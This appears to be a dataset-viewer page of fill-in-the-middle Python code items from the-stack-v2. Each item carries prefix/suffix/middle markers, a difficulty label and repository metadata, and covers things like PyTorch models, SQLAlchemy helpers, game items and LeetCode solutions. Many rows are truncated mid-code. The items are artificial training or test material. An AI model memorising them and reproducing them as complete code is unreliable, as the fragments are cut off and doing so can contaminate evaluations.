} |
<|fim_prefix|># repo: ayl4408/CDL-Capital path: /service/upload_profile_information.py
#!/usr/bin/python
import operator
import cgi, sys, LINK_HEADERS
import simplejson as json
from datetime import datetime
from dateutil import tz
from decimal import *
sys.path.insert(0, str(LINK_HEADERS.DAO_LINK))
from transaction_d... | code_fim | hard | {
"lang": "python",
"repo": "ayl4408/CDL-Capital",
"path": "/service/upload_profile_information.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>#----------------------------------code owned Stocks chart-----------------------------#
owned_stocks=data['owned_stocks']
owned_stocks_graph_data={}
sorted_owned_stocks_chart_axis=[]
sorted_owned_stocks_chart_value=[]
for i in owned_stocks:
owned_stocks_graph_data[owned_stocks[i]['stock']]=owned_s... | code_fim | hard | {
"lang": "python",
"repo": "ayl4408/CDL-Capital",
"path": "/service/upload_profile_information.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: werkaaa/theory_of_compiling path: /src/interpreter/tree_printer.py
from .ast import *
# noinspection PyPep8Naming
def addToClass(cls):
def decorator(func):
setattr(cls, func.__name__, func)
return func
return decorator
def print_intended(to_print, intend):
print(i... | code_fim | hard | {
"lang": "python",
"repo": "werkaaa/theory_of_compiling",
"path": "/src/interpreter/tree_printer.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> print_intended(self.type, indent)
self.instructions_opt.printTree(indent + 1)
@addToClass(Identifier)
def printTree(self, indent=0):
print_intended(self.name, indent)
@addToClass(Range)
def printTree(self, indent=0):
print_intended(self.type, indent)
... | code_fim | hard | {
"lang": "python",
"repo": "werkaaa/theory_of_compiling",
"path": "/src/interpreter/tree_printer.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> print_intended(self.type, indent)
if self.args is not None:
self.args.printTree(indent + 1)
@addToClass(ArrayElement)
def printTree(self, indent=0):
print_intended("get_element", indent)
self.array.printTree(indent + 1)
self.ids.printTree(indent... | code_fim | hard | {
"lang": "python",
"repo": "werkaaa/theory_of_compiling",
"path": "/src/interpreter/tree_printer.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> = 'admin'
ELITE = 'elite'
NOOB = 'noob'
WITHDRAW = 'withdraw'
FUND = 'fund'<|fim_prefix|># repo: harmydiano/wallet_system path: /src/utils/constants.py
OK = 200
CREATED = 201
NOT_MODIFIED = 304
UNAUTHORIZED = 401
FORBIDDEN = 403<|fim_middle|>
BAD_REQUEST = 400
NOT_FOUND = 404
CONFLICT = 409
UNPROCESSABL... | code_fim | medium | {
"lang": "python",
"repo": "harmydiano/wallet_system",
"path": "/src/utils/constants.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: harmydiano/wallet_system path: /src/utils/constants.py
OK = 200
CREATED = 201
NOT_MODIFIED = 304
UNAUTHORIZED = 401
FORBIDDEN = 403<|fim_suffix|>AL_SERVER_ERROR = 500
NOT_IMPLEMENTED = 501
SERVICE_UNAVAILABLE = 503
ADMIN = 'admin'
ELITE = 'elite'
NOOB = 'noob'
WITHDRAW = 'withdraw'
FUND = 'fund'... | code_fim | medium | {
"lang": "python",
"repo": "harmydiano/wallet_system",
"path": "/src/utils/constants.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gabriellaec/desoft-analise-exercicios path: /backup/user_340/ch165_2020_06_20_23_48_12_067262.py
def mais_populoso(dic):
p=0
sp=0
for t,i in dic.items():
for m in dic[t<|fim_suffix|>
sp=p
x=t
return x<|fim_middle|>].values():
p+=m
... | code_fim | easy | {
"lang": "python",
"repo": "gabriellaec/desoft-analise-exercicios",
"path": "/backup/user_340/ch165_2020_06_20_23_48_12_067262.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
sp=p
x=t
return x<|fim_prefix|># repo: gabriellaec/desoft-analise-exercicios path: /backup/user_340/ch165_2020_06_20_23_48_12_067262.py
def mais_populoso(dic):
p=0
sp=0
<|fim_middle|>for t,i in dic.items():
for m in dic[t].values():
p+=m
... | code_fim | medium | {
"lang": "python",
"repo": "gabriellaec/desoft-analise-exercicios",
"path": "/backup/user_340/ch165_2020_06_20_23_48_12_067262.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: masarain/cs229TreeHugger path: /train-jpg/nn.py
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import cv2
import imageio
import pandas as pd
import glob, os
import numpy as np
fileDir = os.getcwd()
# os.chdir("./train-jpg")
# there are 40480 train... | code_fim | hard | {
"lang": "python",
"repo": "masarain/cs229TreeHugger",
"path": "/train-jpg/nn.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> super(Net, self).__init__()
# parameters
# weights
# self.h1 = nn.Sigmoid() # input_size, hidden_size
# self.o = nn.Sigmoid() # hidden_size, num_classes
self.h1 = nn.Linear(input_size, hidden_size)
self.h2 = nn.Linear(hidden_size,... | code_fim | hard | {
"lang": "python",
"repo": "masarain/cs229TreeHugger",
"path": "/train-jpg/nn.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> # self.models_path = os.path.join(self.data_dir, 'models')
# os.makedirs(self.models_path,exist_ok=True)
if not val_csv:
train_df,val_df = split_df(train_df,split_size)
if not test_csv:
val_df,test_df = split_df(val_df,split_size)
tr_ima... | code_fim | hard | {
"lang": "python",
"repo": "fzaidi2014/dreamai",
"path": "/data_processing.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fzaidi2014/dreamai path: /data_processing.py
self.tfms = transforms.Compose(self.transforms_)
else:
self.tfms = transforms.Compose(self.transforms_)
x = self.tfms(img)
if self.obj:
s = x.size()[1]
if isinstance(s... | code_fim | hard | {
"lang": "python",
"repo": "fzaidi2014/dreamai",
"path": "/data_processing.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def update(self, cls_:BaseMixin, data:dict, filters:set)->int:
'''更新数据
@param BaseMixin cls 数据库模型实体类
@param dict data 数据
@param set filters 过滤条件
@return int 影响的行数
'''
query = db.query(cls_).filter(*filters)
if hasattr(cls_, 'deleted_at'... | code_fim | hard | {
"lang": "python",
"repo": "bithaolee/flask-framework",
"path": "/app/model/base.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bithaolee/flask-framework path: /app/model/base.py
import math
import decimal
from typing import Union, List, Set
from sqlalchemy import text
from .model import BaseMixin
from ..core.db import db
Orders = List[Set(str, Union(str, int, decimal.Decimal))]
class BaseDBMgr:
def get_page(se... | code_fim | hard | {
"lang": "python",
"repo": "bithaolee/flask-framework",
"path": "/app/model/base.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> '''插入一条数据
@param BaseMixin cls 数据库模型实体类
@param dict data 数据
@return int 插入数据的主键
'''
item = cls_(**data)
db.add(item)
db.flush()
return item.id
def update(self, cls_:BaseMixin, data:dict, filters:set)->int:
'''更新数据
... | code_fim | hard | {
"lang": "python",
"repo": "bithaolee/flask-framework",
"path": "/app/model/base.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>stream_hander = logging.StreamHandler()
stream_hander.setFormatter(formatter)
log.addHandler(stream_hander)<|fim_prefix|># repo: kangprog/BoB_othello path: /v0.1/log.py
import logging
formatter = logging.Formatter("%(asctime)s [%(levelname)s] : %(message)s")
<|fim_middle|>log = logging.getLogger("oth... | code_fim | medium | {
"lang": "python",
"repo": "kangprog/BoB_othello",
"path": "/v0.1/log.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: kangprog/BoB_othello path: /v0.1/log.py
import logging
formatter = logging.Formatter("%(asctime)s [%(levelname)s] : %(message)s")
<|fim_suffix|>stream_hander = logging.StreamHandler()
stream_hander.setFormatter(formatter)
log.addHandler(stream_hander)<|fim_middle|>log = logging.getLogger("oth... | code_fim | medium | {
"lang": "python",
"repo": "kangprog/BoB_othello",
"path": "/v0.1/log.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jfriend08/LeetCode path: /SearchInsertPosition.py
'''
Given a sorted array and a target value, return the index if the target is found.
If not, return the index where it would be if it were inserted in order.
You may assume no duplicates in the array.
Here are few examples.
[1,3,5,6], 5 -> 2
[1... | code_fim | medium | {
"lang": "python",
"repo": "jfriend08/LeetCode",
"path": "/SearchInsertPosition.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> l_idx, h_idx = 0, len(nums)-1
while True:
m_idx = int((l_idx+h_idx)/2)
if l_idx >= h_idx:
return l_idx
elif target > nums[m_idx]:
l_idx = m_idx + 1
else:
h_idx = m_idx
sol = Solution()
print sol.searchInsert([1,3,5,6], 5)
print sol.searchInsert([1,... | code_fim | medium | {
"lang": "python",
"repo": "jfriend08/LeetCode",
"path": "/SearchInsertPosition.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>sol = Solution()
print sol.searchInsert([1,3,5,6], 5)
print sol.searchInsert([1,3,5,6], 2)
print sol.searchInsert([1,3,5,6], 4)
print sol.searchInsert([1,3,5,6], 0)<|fim_prefix|># repo: jfriend08/LeetCode path: /SearchInsertPosition.py
'''
Given a sorted array and a target value, return the index if the ... | code_fim | hard | {
"lang": "python",
"repo": "jfriend08/LeetCode",
"path": "/SearchInsertPosition.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> main_cnv(tarfile)
if __name__ == "__main__":
test_main_cnv()<|fim_prefix|># repo: Tina9/circos_report path: /tests/test_cnv_proconf.py
import sys
sys.path.append("../circos_report/cnv_anno2conf")
from cnv_anno2conf import main_cnv
<|fim_middle|>tarfile = {"yaml": "data/test_app.yaml"}
def tes... | code_fim | medium | {
"lang": "python",
"repo": "Tina9/circos_report",
"path": "/tests/test_cnv_proconf.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Tina9/circos_report path: /tests/test_cnv_proconf.py
import sys
sys.path.append("../circos_report/cnv_anno2conf")
from cnv_anno2conf import main_cnv
<|fim_suffix|>if __name__ == "__main__":
test_main_cnv()<|fim_middle|>tarfile = {"yaml": "data/test_app.yaml"}
def test_main_cnv():
main_... | code_fim | medium | {
"lang": "python",
"repo": "Tina9/circos_report",
"path": "/tests/test_cnv_proconf.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> str2:
nPos = str1.index(c)
break
print(nPos)<|fim_prefix|># repo: PykeChen/pythonBasicGramer path: /strOperator.py
# strspn(str1,str2)
str1 = '12345678'
str2 = '456'
# str1 and chars both in str1 and str2
print(str1 and str2)
str1 = 'c<|fim_middle|>ekjgdklab'
str2 = 'gka'
nPos = -1
for ... | code_fim | medium | {
"lang": "python",
"repo": "PykeChen/pythonBasicGramer",
"path": "/strOperator.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: PykeChen/pythonBasicGramer path: /strOperator.py
# strspn(str1,str2)
str1 = '12345678'
str2 = '456'
# str1 an<|fim_suffix|>ekjgdklab'
str2 = 'gka'
nPos = -1
for c in str1:
if c in str2:
nPos = str1.index(c)
break
print(nPos)<|fim_middle|>d chars both in str1 and str2
print(str... | code_fim | medium | {
"lang": "python",
"repo": "PykeChen/pythonBasicGramer",
"path": "/strOperator.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Letian-Wang/CS-20-Tensorflow-for-Deep-Learning-Research path: /L3 regression/3.2_optimizer.py
import tensorflow as tf
optimizer = tf.train.GradientDescentOptimizer(0.001).minimize(loss)
_, l = sess.run([optimizer, loss], feed_dict={X:x, Y:y})
<|fim_suffix|>List of optimizers in TF
1. tf.train.Gr... | code_fim | hard | {
"lang": "python",
"repo": "Letian-Wang/CS-20-Tensorflow-for-Deep-Learning-Research",
"path": "/L3 regression/3.2_optimizer.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>List of optimizers in TF
1. tf.train.GradientDescentOptimizer
2. tf.train.AdagradOptimizer
3. tf.train.MomentumOptimizer
4. tf.train.AdamOptimizer
5. tf.train.ProximalGradientDescentOptimizer
6. tf.train.ProximalAdagradOptimizer
7. tf.train.RMSPropOptimizer
And more<|fim_prefix|># repo: Letian-Wang/CS-20-... | code_fim | hard | {
"lang": "python",
"repo": "Letian-Wang/CS-20-Tensorflow-for-Deep-Learning-Research",
"path": "/L3 regression/3.2_optimizer.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>if u_avg < u_bat_min:# or i > 10:
print("proper shut down of the machine due to low battery")
# time.sleep(5)
# call("sudo shutdown -h now", shell=True) # shutdown the RASPI
else:
print("tout va bien dormez braves gens")<|fim_prefix|># repo: josmet52/amod path: /pidcmes_bbu.py
#!/usr/bin... | code_fim | hard | {
"lang": "python",
"repo": "josmet52/amod",
"path": "/pidcmes_bbu.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Says whether the documentation has changed, and requires further action.
This is mainly used to short-circuit more expensive builds of other
output formats if the project docs didn't change on an update.
Subclasses are recommended to override for more efficient... | code_fim | hard | {
"lang": "python",
"repo": "thomaspurchas/readthedocs.org",
"path": "/readthedocs/doc_builder/base.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for step in self.workflow:
fn = getattr(self, step)
result = fn()
assert result
@restoring_chdir
def force(self):
"""
An optional step to force a build even when nothing has changed.
"""
print "Forcing a build by touching... | code_fim | hard | {
"lang": "python",
"repo": "thomaspurchas/readthedocs.org",
"path": "/readthedocs/doc_builder/base.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: erohkohl/python-playground path: /decorator/decorator.py
import time
# Decorator
def measure_time_of_func(func):
def wrapper_func(n):
<|fim_suffix|># Returns a list with first n numbers of fibonacci sequence.
@measure_time_of_func
def fib(n):
sequence = [1, 1]
for i in range(2, n, 1... | code_fim | medium | {
"lang": "python",
"repo": "erohkohl/python-playground",
"path": "/decorator/decorator.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> sequence = [1, 1]
for i in range(2, n, 1):
sequence.append(sequence[i - 1] + sequence[i - 2])
return sequence<|fim_prefix|># repo: erohkohl/python-playground path: /decorator/decorator.py
import time
# Decorator
def measure_time_of_func(func):
def wrapper_func(n):
start_... | code_fim | medium | {
"lang": "python",
"repo": "erohkohl/python-playground",
"path": "/decorator/decorator.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>class IncomingNetworkInputBuffer(InputBuffer):
def __init__(self, frame_limit=12):
super().__init__(
left_action_name="",
right_action_name="",
weak_punch_action_name="",
frame_limit=frame_limit,
)
self.game_properties = GamePrope... | code_fim | hard | {
"lang": "python",
"repo": "PineTreePizza/roll-back-engine",
"path": "/assets/game_projects/fighter/src/input_buffer.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JonathanMurray/python-2d-game path: /pythongame/game_data/items/item_healing_wand.py
from pythongame.core.buff_effects import get_buff_effect, register_buff_effect, StatModifyingBuffEffect
from pythongame.core.common import ItemType, Sprite, BuffType, Millis, HeroStat
from pythongame.core.game_da... | code_fim | hard | {
"lang": "python",
"repo": "JonathanMurray/python-2d-game",
"path": "/pythongame/game_data/items/item_healing_wand.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def register_healing_wand_item():
item_type = ItemType.HEALING_WAND
register_custom_effect_item(
item_type=item_type,
item_level=4,
ui_icon_sprite=UiIconSprite.ITEM_HEALING_WAND,
sprite=Sprite.ITEM_HEALING_WAND,
image_file_path="resources/graphics/item_heal... | code_fim | medium | {
"lang": "python",
"repo": "JonathanMurray/python-2d-game",
"path": "/pythongame/game_data/items/item_healing_wand.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>class BuffedByHealingWand(StatModifyingBuffEffect):
def __init__(self):
super().__init__(BUFF_TYPE, {HeroStat.HEALTH_REGEN: HEALTH_REGEN_BONUS})
def register_healing_wand_item():
item_type = ItemType.HEALING_WAND
register_custom_effect_item(
item_type=item_type,
item_... | code_fim | hard | {
"lang": "python",
"repo": "JonathanMurray/python-2d-game",
"path": "/pythongame/game_data/items/item_healing_wand.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.